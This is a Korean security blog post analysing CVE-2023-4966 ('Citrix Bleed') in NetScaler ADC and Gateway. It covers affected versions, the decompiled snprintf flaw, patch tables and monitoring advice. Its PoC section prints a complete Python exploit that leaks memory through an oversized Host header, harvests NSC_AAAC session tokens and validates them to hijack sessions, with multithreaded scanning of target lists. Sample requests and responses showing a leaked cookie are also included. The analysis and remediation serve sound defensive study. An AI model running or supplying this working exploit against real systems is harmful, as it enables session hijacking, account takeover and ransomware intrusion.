1. NetScaler ADC 및 NetScaler Gateway

- 네트워크를 통해 제공되는 애플리케이션 및 서비스의 성능, 보안, 가용성을 향상시키는 데 사용되는 네트워킹 제품

> NetScaler ADC: 네트워크 내에서 애플리케이션 제공을 최적화하고 보호하는 데 중점
> NetScaler Gateway: 해당 애플리케이션과 내부 리소스에 대한 안전한 원격 액세스를 제공하는 데 중점

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-4966 [1]

 

- NetScaler 장비를 게이트웨이(VPN 가상 서버, ICA 프록시, CVPN, RDP 프록시) 또는 AAA 가상 서버로 구성한 경우 발생하는 취약점 (CVSS: 9.4)

> BoF로 인해 메모리 값을 반환하며, 그 중 세션 쿠키 등 유효한 값이 포함되어 있어 세션 하이재킹으로 인증 우회가 가능

> 여러 공격 그룹에서 취약점을 악용해 랜섬웨어 등을 유포하고 있어 벤더사 및 CISA에서 패치 촉구 [2]

※ AAA (Authentication, Authorization, Accounting) [3][4]
⒜ 세 가지의 독립적이면서도 서로 관련된 구성 요소로 이루어진 프레임워크
⒝ 불법적인 네트워크 서비스 사용을 방지하고자 사용자 인증, 권한제어, 과금을 위해 다양한 네트워크 기술과 플랫폼들에 대한 개별 규칙들을 조화시키기 위한 프레임워크
⒞ 일반적으로 서버-클라이언트로 구성
⒟ Authentication (인증) : 사용자의 접근을 결정하기 위해 사용자의 신원을 검증하는 과정
⒠ Authorization (권한부여) : 사용자의 신원 검증 후 리소스에 대한 접근 권한 및 정책을 결정
⒡ Accounting (계정관리) : 사용자의 활동을 기록, 수집하여 과금, 감사, 보고서 기능을 제공

 

영향받는 버전
- NetScaler ADC 및 NetScaler Gateway 14.1(14.1-8.50 이전)
- 13.1-49.15 이전의 NetScaler ADC 및 NetScaler Gateway 13.1
- 13.0-92.19 이전의 NetScaler ADC 및 NetScaler Gateway 13.0
- 13.1-37.164 이전의 NetScaler ADC 13.1-FIPS
- 12.1-55.300 이전의 NetScaler ADC 12.1-FIPS
- 12.1-55.300 이전의 NetScaler ADC 12.1-NDcPP
※ NetScaler ADC 및 NetScaler Gateway 버전 12.1은 EOL(End-of-Life) 더욱 취약함

 

2.1 취약점 상세 [5][6][7]

- NetScaler ADC 및 Gateway 제품은 NetScaler 패킷 처리 엔진(nsppe)을 사용하여 TCP/IP 연결 및 HTTP 서비스를 처리

> 취약한 버전의 제품에서 OpenID Connect Discovery 엔드포인트를 구현하는 nsspe 바이너리에서 취약점 발생

 

- 아래 함수는 OpenID 구성을 위한 JSON 페이로드를 생성하고 snprintf()를 사용해 페이로드에 호스트 이름을 삽입

> snprintf()의 반환값 iVar3를 ns_vpn_send_response에 의해 클라이언트에 전송되는 바이트 수를 결정하는 데 사용되기 때문에 발생

> snprintf가 버퍼에 쓴 바이트 수를 반환하지 않기 때문에 발생

“snprintf가 자동으로 문자열을 잘라낼 때, snprintf가 작성한 바이트의 수에 대한 정보는 되돌려주지 않습니다. 오히려 아웃풋 버퍼가 충분한 크기일 때 결과로 나올 법한 바이트의 수를 되돌려주죠.” [8]

iVar3 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

 

- 취약한 URL

hxxtps://<Gateway or ADC IP address>/oauth/idp/.well-known/openid-configuration

 

- 공격자는 버퍼 크기 0x20000 바이트 를 초과하는 응답을 얻는 요청을 전송

> 해당 요청에 대한 응답으로 메모리값이 노출되며, 대부분 Null 바이트였으나 유의미한 정보가 포함되어 있음

GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web

{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/

{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ   è"AAA_PARAMí

 

- 위 응답에서 확인한 유의미한 정보인 쿠키(NSC_AAAC)를 이용해 유효한 세션 쿠키인지 확인이 가능

> 모든 NetScaler 인스턴스가 동일한 종류의 인증을 사용하도록 구성되어 있지는 않음

> 하지만, 테스트한 대부분의 인스턴스에서 32 바이트 또는 65 바이트 길이의 16진수 문자열이 발견

POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: 192.168.1.51
Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42
Content-Length: 0
Connection: close


HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 4
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
X-Citrix-Application: Receiver for Web

testuser1

 

2.2 PoC [9]

① URL "/oauth/idp/.well-known/openid-configuration"에 GET 메소드 요청을 전송

> 메모리 덤프 시도

② 요청에 대한 서버의 응답에서 유의미한 정보(NSC_AAAC: 세션토큰) 유무 확인

③ NSC_AAAC 헤더를 설정해 "/logon/LogonPoint/Authentication/GetUserName" URL에 POST 메소드 요청 전송

> 해당 세션 토큰이 유효한지 확인

import re
import sys
import argparse
import requests

from urllib.parse import urlparse
from rich.console import Console
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completed

warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)

class CitrixMemoryDumper:
    SESSION_PATTERN = re.compile(rb'(?=([a-f0-9]{65}))')
    
    def __init__(self):
        self.console = Console()
        self.parser = argparse.ArgumentParser(description='Citrix ADC Memory Dumper')
        self.setup_arguments()
        self.results: List[Tuple[str, str]] = []
        self.output_file: Optional[TextIO] = None
        if self.args.output:
            self.output_file = open(self.args.output, 'w')

    def setup_arguments(self) -> None:
        self.parser.add_argument('-u', '--url', help='The Citrix ADC / Gateway target (e.g., https://192.168.1.200)')
        self.parser.add_argument('-f', '--file', help='File containing a list of target URLs (one URL per line)')
        self.parser.add_argument('-o', '--output', help='File to save the output results')
        self.parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode')
        self.parser.add_argument('--only-valid', action='store_true', help='Only show results with valid sessions')
        self.args = self.parser.parse_args()
        
    def print_results(self, header: str, result: str) -> None:
        if self.args.only_valid and "[+]" not in header:
            return

        formatted_msg = f"{header} {result}"
        self.console.print(formatted_msg, style="white")
        if self.output_file:
            self.output_file.write(result + '\n')

    def normalize_url(self, url: str) -> str:
        if not url.startswith("http://") and not url.startswith("https://"):
            url = f"https://{url}"
        
        parsed_url = urlparse(url)
        normalized_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
        return normalized_url

    def dump_memory(self, url: str) -> None:
        full_url = self.normalize_url(url)
        headers = {
            "Host": "a" * 24576
        }
        try:
            r = requests.get(
                f"{full_url}/oauth/idp/.well-known/openid-configuration",
                headers=headers,
                verify=False,
                timeout=10,
            )
            
            content_bytes = r.content
            if r.status_code == 200 and content_bytes:
                cleaned_content = self.clean_bytes(content_bytes).replace(b'a'*65, b'')
                
                if self.args.verbose and self.args.url:
                    self.results.append(("[bold blue][*][/bold blue]", f"Memory Dump for {full_url}"))
                    self.results.append(("text", cleaned_content.decode('utf-8', 'ignore')))
                    self.results.append(("[bold blue][*][/bold blue]", "End of Dump\n"))
                
                session_tokens = self.find_session_tokens(content_bytes)
                valid_token_found = False

                for token in session_tokens:
                    if self.test_session_cookie(full_url, token):
                        valid_token_found = True

                if not valid_token_found:
                    if not self.args.only_valid:
                        if self.args.url:
                            self.results.append(("[bold yellow][!][/bold yellow]", f"Partial memory dump but no valid session token found for {full_url}."))
                        else:
                            self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {full_url}, but no valid session token found."))

            elif self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Could not dump memory for {full_url}."))
        except Exception as e:
            if self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Error processing {full_url}: {str(e)}."))
            
    def clean_bytes(self, data: bytes) -> bytes:
        return b''.join(bytes([x]) for x in data if 32 <= x <= 126)
   
    def find_session_tokens(self, content_bytes: bytes) -> List[str]:
        sessions = [match.group(1).decode('utf-8') for match in self.SESSION_PATTERN.finditer(content_bytes) if match.group(1).endswith(b'45525d5f4f58455e445a4a42')]
        return sessions

    def test_session_cookie(self, url: str, session_token: str) -> bool:
        headers = {
            "Cookie": f"NSC_AAAC={session_token}"
        }
        try:
            r = requests.post(
                f"{url}/logon/LogonPoint/Authentication/GetUserName",
                headers=headers,
                verify=False,
                timeout=10,
            )
            if r.status_code == 200:
                username = r.text.strip()
                self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {url}, Cookie: {session_token}, Username: {username}"))
                return True
            else:
                return False
        except Exception as e:
            self.results.append(("[bold red][-][/bold red]", f"Error testing cookie for {url}: {str(e)}."))
            return False
        
    def run(self) -> None:
        if self.args.url:
            self.dump_memory(self.args.url)
            for header, result in self.results:
                self.print_results(header, result)
        elif self.args.file:
            with open(self.args.file, 'r') as file:
                urls = file.read().splitlines()
                with ThreadPoolExecutor(max_workers=200) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
                    futures = {executor.submit(self.dump_memory, url): url for url in urls}
                    for future in as_completed(futures):
                        for header, result in self.results:
                            self.print_results(header, result)
                        self.results.clear()
                        bar()
        else:
            self.console.print("[bold red][-][/bold red] URL or File must be provided.", style="white")
            sys.exit(1)
        
        if self.output_file:
            self.output_file.close()

if __name__ == "__main__":
    dumper = CitrixMemoryDumper()
    dumper.run()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [10][11]

> 해당 취약점 외 DDoS(CVE-2023-4967)을 포함한 업데이트 제공

> 업데이트 버전에서는 snprintf()의 반환값 uVar7이 0x20000 보다 작은 경우에만 응답이 전송되도록 함

제품명 영향받는 버전 해결버전
NetScaler ADC 및 NetScaler Gateway 14.1 14.1-8.50 이전 버전 14.1-8.50
NetScaler ADC 및 NetScaler Gateway 13.1  13.1-49.15 이전 버전 13.1-49.15
NetScaler ADC 및 NetScaler Gateway 13.0 13.0-92.19 이전 버전 13.0-92.19
NetScaler ADC 13.1-FIPS 13.1-37.164 이전 버전 13.1-37.164
NetScaler ADC 12.1-FIPS 12.1-55.300 이전 버전 12.1-55.300
NetScaler ADC 12.1-NDcPP 12.1-55.300 이전 버전 12.1-55.300
uVar7 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
    authv2_json_resp = 1;
    iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
    ...
}

 

- 모니터링 강화

> 로그 파일(/var/log/ns.log. nslog) 점검_외부 IP에서의 접속, 동일 IP의 여려 세션 생성 시도 등

> 취약점 악용 시도 탐지를 위한 규칙 적용

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-4966
[2] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a
[3] https://layer3.tistory.com/11
[4] https://jhkim3624.tistory.com/205
[5] https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
[6] https://www.picussecurity.com/resource/blog/cve-2023-4966-lockbit-exploits-citrix-bleed-in-ransomware-attacks
[7] https://www.mandiant.com/resources/blog/session-hijacking-citrix-cve-2023-4966
[8] https://www.boannews.com/media/news_print.asp?idx=74361

[9] https://github.com/mlynchcogent/CVE-2023-4966-POC

[10] https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71231
[12] https://www.boannews.com/media/view.asp?idx=123060&page=1&kind=4
[13] https://www.boannews.com/media/view.asp?idx=123321&page=1&kind=1
[14] https://www.boannews.com/media/view.asp?idx=123993&page=1&kind=1

+ Recent posts